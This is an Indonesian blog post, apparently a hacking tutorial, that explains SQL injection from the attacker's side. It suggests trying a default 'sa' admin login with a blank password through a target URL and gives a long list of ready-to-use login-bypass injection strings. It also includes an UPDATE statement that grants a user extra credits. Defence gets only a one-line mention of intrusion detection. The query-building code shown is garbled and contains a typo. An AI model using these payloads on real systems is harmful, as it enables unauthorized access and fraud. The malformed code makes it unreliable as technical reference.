SQL singkatan dari Structured Query Language yg merupakan bahasa komputer standar yg ditetapkan oleh ANSI (American National Standard Institute) untuk mengakses dan memanupulasi sistem database. SQL bekerja dgn program2 database seperti MS Access, DB 2, Informix, MS SQL Server, Oracle, Sybase dan lain sebagainya.
SQL Injection attack merupakan salah satu teknik dalam melakukan web hacking utk menggapai akses pada sistem database yg berbasis SQL. Teknik ini memanfaatkan kelemahan dalam bahasa pemprograman scripting pada SQL dalam mengolah suatu sistem database. Hasil yg ditimbulkan dari teknik ini membawa masalah yg sangat serius. Mengapa disebut SQL Injection ? seperti yg kita ketahui, injection jika diartikan ke dalam bahasa Indonesia yaitu "suntikan". Yang terjadi memang seperti melakukan suntikan terhadap SQL yg tujuannya adalah tergantung kepada pelakunya dan pada intinya jika disalahgunakan maka akan membawa aspek negatif terhadap korban.
Sudah disinggung diatas bahwa SQL Injection attack memanfaatkan kelemahan dalam bahasa pemprograman scripting pada SQL maksudnya adalah memanfaatkan teknik string building untuk mengeksekusi/menjalankan kode SQL. Jadi prinsip dasar SQL Injection sebenarnya memanfaatkan kode insecure (tidak aman) atas sebuah sistem yg terhubung ke internet dalam upaya melangkahi command (perintah) dan secara langsung menuju ke database untuk kemudian mengambil keuntungan dari sistem yg dijamin aman untuk melakukan pengambilan atau pengubahan atau lain sebagainya oleh penyerang.
Keuntungan yg diambil adalah seperti login akses terhadap server yg bukan haknya atau yg lainnya, tergantung kepada penyerangnya.
Input Query String
Default setting dari SQL menggunakan :
adminID = sa
password ='' (kosong atau blank)
misalnya : http://www.target.com/login.asp?adminID=sa%20password=''
%20 artinya menggantikan "jarak spasi"
Ini merupakan kondisi yg berbahaya jika pengubahan setting tidak segera dilakukan.
Verifikasi yg dilakukan oleh SQL disaat pemakai memasukkan username dan password adalah seperti yg terlihat pada teks sebagai berikut :
SQLQuery="SELECT Username FROM Users WHERE Username="'&strUsername&"'strpassword&"'
Pada verifikasi terdapat kelemahan pada pemprosesan pada string2 tertentu yg sebenarnya string tersebut dapat dikatakan sebagai input ilegal. Verifikasi tetap melakukan proses dan nantinya menghasilkan error page. Error page tersebut justru membuka rahasia struktur database dan bahkan error page tetapi eksekusi terhadap validasi input tetap dijalankan.
Contoh : menggunakan injection string 'OR''= pada username maupun password baik dilakukan dgn metode URL input query string maupun Box input query string maka SQL query akan membacanya sebagai berikut :
SELECT Username FROM Users WHERE Username=''OR''='' AND Password=''OR''=''
Maka yg terjadi adalah SQL query akan menyatakan blank username dan blank password sebagai user yg sah (valid). SQL Injection yg berhasil dilakukan akan ditandai dgn munculnya error page dgn error yg dimunculkan dapat berupa ODBC error, internal server error, syntax error dan lain sebagainya.
Ada banyak variasi dari injection string yg dapat digunakan untuk melakukan SQL Injection :
'or 1=1--
'or 0=0 --
'or 'x'='x
'or a=a-
"or 0=0 --
"or 0=0 #
"or "x"="x
")or("a"="a
admin'--
hi" or 1=1 --
hi' or'a'='a
hi")or("a"="a
or 0=0 #
'or a=a--
'or 0=0 #
'having 1=1--
"or 1=1--
"or "a"="a
')or('a'='a
')or('x'='x
hi" or "a"="a
hi' or 1=1 --
hi')or('a'='a
or 0=0 --
or 1=1--
Serangan dgn menggunakan SQL Injection dapat lebih bervariasi lagi dan itu tergantung kepada situasi dan tujuan dari serangan yg dilakukan oleh penyerang. Contoh :
'UPDATE YEPCell_memberDB set Credits=100 wher UserID='yamakasi'
SQl Injection yg dilakukan seseorg dapat dideteksi dgn menggunakan IDS (Intrusion Detection System). IDS bukan lagi tool yg terlalu asing terdengar ditelinga anda. Anda dapat mencarinya di www.google.com
Tidak ada komentar:
Posting Komentar